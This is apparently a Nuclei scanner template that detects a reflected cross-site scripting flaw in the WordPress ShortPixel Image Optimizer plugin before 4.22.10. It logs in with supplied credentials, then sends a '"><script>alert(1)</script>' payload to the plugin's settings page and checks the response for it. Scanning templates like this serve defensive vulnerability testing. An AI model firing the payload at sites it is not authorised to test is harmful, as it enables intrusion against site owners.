shortpixel-image-optimizer-xss: WordPress ShortPixel Image Optimizer <4.22.10 - Cross-Site Scripting

id: shortpixel-image-optimizer-xss

info:
  name: WordPress ShortPixel Image Optimizer <4.22.10 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress ShortPixel Image Optimizer 4.22.10 does not escape generated URLs before outputting them back in an attribute, leading to reflected cross-site scripting.
  reference:
    - https://wpscan.com/vulnerability/8a0ddd14-7260-4fb6-bb87-2916aa41ff01
    - https://wordpress.org/plugins/shortpixel-image-optimiser
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    verified: true
    max-request: 2
  tags: shortpixel,authenticated,wpscan,xss,wp-plugin,wp,wordpress,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/options-general.php?page=wp-shortpixel-settings&"><script>alert(1)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '&\"><script>alert(1)</script>&noheader=true&sp-action'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402200d736e472dda1fbfcd0b645b74351b414cf01b019643eb0609bd10c7dd4930a902205b955170944dd89ebfad4d9a196807ee558ac5ce612ca2f2b780f7f1a2142b06:922c64590222798bb761d5b6d8e72950